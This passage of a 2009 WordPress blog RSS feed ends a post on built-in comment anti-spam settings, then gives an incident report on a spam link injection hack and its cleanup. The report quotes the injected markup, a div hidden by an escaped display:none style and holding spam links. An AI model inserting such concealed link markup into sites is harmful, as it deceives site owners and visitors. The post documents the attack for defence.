<dd>This one&rsquo;s not as obvious, but it is also a great way to reduce the incentive to spam your site. Spammers target <em>strong</em> pages for their junk, so by breaking your comments into pages of, say, 20 comments each, you get the best comments on the first page (the same page as the article), and then the typically declining-quality comments on subsequent non-ranking pages. Just make sure you are using meta canonical tags to keep the juice where it should be.</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-06.gif" alt="[ WordPress Comment Display Settings ]" /></dd>
<dt>E-mail me whenever..</dt>
<dd>Unless your site is literally flooded with comments on every post, getting email alerts for new comments is an excellent way to kill any spam nonsense that gets through. I have done this at <a href="http://perishablepress.com/" title="Perishable Press: Digital Design and Dialogue">Perishable Press</a> for four years now, and you would be hard-pressed to find even <em>one</em> spam comment anywhere on the site.</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-05.gif" alt="[ WordPress Comment Notification Settings ]" /></dd>
<dt>Before a comment appears an administrator must always approve the comment</dt>
<dd>This could get kind of labor-intensive, but it is a 100%-guaranteed way of completely eliminating spam without using any plugins whatsoever. Zero. Nada. Nil. If you are one of the many millions whose blog receives fairly few comments, this method will keep your comments squeaky clean.</dd>
<dt>Comment author must have a previously approved comment</dt>
<dd>A super-effective strategy that is not as labor-intensive as moderating all comments and not as restrictive as requiring registration. The idea here is that you get a chance to &ldquo;meet&rdquo; each one of your commentators and leave the door open only for the good guys. This technique drastically cuts back on human spam, and virtually eliminates automated spam (unless you don&rsquo;t catch it the first time).</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-04.gif" alt="[ WordPress Comment Approval Settings ]" /></dd>
<dt>Hold a comment in the queue if it contains XX or more links</dt>
<dd>Lots of comment spam is just crawling with links. A few mindless words and then BAM &#8212; they drop in a few hundred links. Some of the more subtle spammers are less obvious, but still have to unload their payload somehow, so they usually integrate a couple of links within some not-so-carefully crafted text. You know what I&rsquo;m talking about. You definitely want to moderate anything with more than like two or three links. This trick is great for catching some of the craftier spam maggots.</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-03.gif" alt="[ WordPress Comment Link Settings ]" /></dd>
<dt>Comment Moderation Blacklist and Spam Blacklist</dt>
<dd> A finely tuned WordPress Blacklist list eliminates the need for <em>many</em> types of plugins, scripts, and third-party blacklists. Any words, characters, or IP addresses included in either the Moderation or Spam Blacklist will be used to innoculate your site against any matching comments. Granted, it takes a bit of persistence to build up a good list, but once you do, it is very difficult for spammers to get around it. Note that, unless you are absolutely sure, you should probably stick with the Moderation Blacklist (regular expressions are powerful things!).</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-02.gif" alt="[ WordPress Comment Moderation Blacklist ]" /></dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-01.gif" alt="[ WordPress Comment SPam Blacklist ]" /></dd>
</dl>
<p>All of these great anti-spam features are like having fifty plugins already built-in to WordPress. With them, you can configure a powerful anti-spam strategy for just about any type of site without <em>any</em> plugins &#8212; not even Akismet.</p>
<h3>Why not just use a bunch of plugins instead?</h3>
<p>Because you don&rsquo;t <em>have</em> to. Plugins require maintenance, frequent updating, etc. Every upgrade of WordPress and/or your plugins opens the door to possible issues and conflicts. Further, plugins consume valuable server resources, affecting the <strong>performance</strong> and consistency of your site. In general, the fewer plugins you have, the easier and more efficient things are going to be. I guess my feeling is, try to take the &ldquo;zen&rdquo; approach as much as possible &#8212; if something isn&rsquo;t absolutely necessary, don&rsquo;t bother with it. More and more, I am realizing that anti-spam plugins simply aren&rsquo;t needed to run an effective and spam-free site.</p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/">Permalink</a> | <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/#comments">48 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/&title=You Don&#8217;t Need Any Plugins to Stop Comment Spam">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/comments/" rel="tag">comments</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/feed/</wfw:commentRss>
		<slash:comments>48</slash:comments>
		</item>
		<item>
		<title>Spam Link Injection Hacked (and How I Hopefully Fixed It)</title>
		<link>http://digwp.com/2009/06/spam-link-injection-hacked/</link>
		<comments>http://digwp.com/2009/06/spam-link-injection-hacked/#comments</comments>
		<pubDate>Tue, 30 Jun 2009 13:16:48 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://diggingintowordpress.com/?p=166</guid>
		<description><![CDATA[Just recently my other blog CSS-Tricks was hacked. I first found out by a very helpful reader emailing me a screenshot from the mobile version of my site. The mobile version of my site was built by Mobify, so I contacted them right away. As I should of known, of course Mobify can&#8217;t insert content [...]]]></description>
			<content:encoded><![CDATA[<p>Just recently my other blog <a href="http://css-tricks.com">CSS-Tricks</a> was hacked. I first found out by a very helpful reader emailing me a screenshot from the mobile version of my site.</p>
<p><span id="more-166"></span></p>
<p><img src="http://digwp.com/wp-content/blog-images/spamonmobile.PNG" width="320" height="480" alt="" title="" /></p>
<p>The mobile version of my site was built by <a href="http://mobify.me/">Mobify</a>, so I contacted them right away. As I should of known, of course Mobify can&#8217;t insert content into a site, they only are a presentation layer on top of the already existing content. They were very quick and helpful with their response and sent me some useful links to what the problem might be. </p>
<p>This of course meant that the site itself was hacked. Time is of the essence at this point, because not only do I not want my visitors seeing nasty spam, I don&#8217;t want Google bot to cruise through and see the mess and hurt my SEO. I immediately set out to figure out where these spam links were being inserted from. </p>
<p>I had this happen to me years ago and it turned out the theme files themselves were altered and spam injected that way. I took a look through all of them quickly and didn&#8217;t see anything. I could see from the source on the site that the links were being inserted after the content on each post. I could also see at this point that the links were identical on each post. This seemed like a theme file injection to me, but clearly it wasn&#8217;t.</p>
<p>I popped open the WordPress Admin itself and checked out a post. Low and behold, there the links were, right in the content for each post. I checked out a number of them, new and old, and there were all the same. At this point, there were two possibilities. The Admin was compromised giving someone access in there and the ability to edit posts or the Database itself was compromised.</p>
<p>Due to the speed of the attack, the fact that all the links were the same, and that over 500 Posts/Pages were identically altered, <strong>I concluded it must have been a database attack.</strong></p>
<p>Here is what I did:</p>
<ol>
<li><strong>I changed the Admin username and password.</strong> Just to make sure that the Admin itself was secure, this login and password must be changed. Since you cannot change usernames after they are created, I created a <em>new</em> account with a new password, logged in with that, and deleted the original account, attributing all posts to the new account.</li>
<li><strong>I changed the server admins username and password.</strong> My site is managed by Plesk, which has a login and password to itself. If someone had access to this, they could access the Database. It is unlikely this was compromised, but to cover all the bases, this was changed as well. </li>
<li><strong>The database name, database username, and database password was changed.</strong> Changing the database password might have been enough, but just to be as difficult as possible I changed both the username and the password. The database name was changed later after the cleanup (see below).</li>
<li><strong>I changed the FTP login and password.</strong> If the hacker had this, they could have altered the theme files or opened the wp-config.php file to find the database credentials.</li>
<li><strong>The XMLRPC file was removed.</strong> This file <a href="http://digwp.com/2009/06/xmlrpc-php-security/">is used for</a> pingback and trackbacks as well as remote editing possibilities like posting by email. I literally use none of these things, and this file has been responsible for security problems in the past, so I removed it.</li>
<li><strong>The file permissions where checked.</strong> In particular, I found the wp-config.php file was set at 775, I changed it to 755. I also made sure that none of the file were world writeable except the very few that need to be, like the uploads folder.</li>
</ol>
<h3>What the spam insertion looked like</h3>
<pre><code>&lt;div style=\"\\64\\69\\73\\70\\6c\\61\\79:\\6e\\6f\\6e\\65\"&gt;
&lt;a href=\"http://www.fcit.usf.edu/li/viagra.html\"&gt;viagra&lt;/a&gt;\r\n&lt;a href=\"http://www.fcit.usf.edu/li/free-viagra.html\"&gt;free viagra&lt;/a&gt;\r\n

... lots more ...

&lt;/div&gt;</code></pre>
<p>That &#8220;style&#8221; attribute (inline CSS), when rendered in a typical browser, converted to <code>display: none;</code> and thus were not visible. For whatever reason, when Mobify picked up this content, that weird string of characters wasn&#8217;t converted and thus the div was visible not hidden.</p>
<p>The reason I&#8217;m sure the hackers chose this technique is that the blog owner may never realize the links were inserted because they aren&#8217;t typically visible. I would think that Google doesn&#8217;t give any link credit to links that are in a container with display: none, but perhaps the hacker&#8217;s theory is that the google bot won&#8217;t be able to tell this div is hidden because of the weird code.</p>
<p>I would be interested to know if Google can be duped with this technique. It seems like they would be smart enough to detect it, yet I wouldn&#8217;t be surprised if the site is penalized anyway due to being compromised by spam. </p>
<h3>How I Removed the Links</h3>
<p>Luckily the code that was inserted in every single Post/Page was identical. I downloaded a fresh copy of the Database (as a .SQL file), opened it up in TextMate (any text editor with find/replace will do) and did a find/replace on the block of spammy code (replaced it with nothing). Then I saved a new copy of it and created a new database on the server (hence the change in DB name). I imported the new fixed SQL file and posted WordPress at the new database.</p>
<h3>Crossing My Fingers</h3>
<p>It&#8217;s been a week now, and no more problems. I pray that what I have done has fixed whatever the hole was, but of course I can&#8217;t be 100% certain because I&#8217;m not 100% certain what it was to begin with. Of course, posting all this information surely doesn&#8217;t make me any more secure but oh well. I of course have serious backups going on so the worst thing that can happen is I get hacked again and have to restore from backups and keep plugging holes. </p>
<h3>Consequences</h3>
<p>Although the spam wasn&#8217;t on my site for more than a few hours, someone has pointed out to me that my Google PageRank for the homepage has dropped from a reasonable and healthy PR 6 to ZERO. While PageRank is a very weird thing and it could be any number of things including a random inaccurate report from Google, it seems more likely this is a penalization from them for the spam. Many of my subpages, which get crawled far less frequently, still have their PageRank. It&#8217;s not just the PageRank, many searches that would have brought up the homepage (e.g. my own name) are now far down the SERP pages when they used to be #1. This of course will be seriously affecting my traffic until my PageRank is restored, if it ever is.</p>
<p>CSS-Tricks, is non-trivial portion of my income, and if there is a serious dip in traffic it could certainly affect me financially. I&#8217;m not whining, it just goes to show that <strong>site security is not some abstract nerdy hobby, it&#8217;s serious business</strong> that can have serious consequences.</p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/06/spam-link-injection-hacked/">Permalink</a> | <a href="http://digwp.com/2009/06/spam-link-injection-hacked/#comments">29 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/06/spam-link-injection-hacked/&title=Spam Link Injection Hacked (and How I Hopefully Fixed It)">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/06/spam-link-injection-hacked/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
	</channel>
</rss>

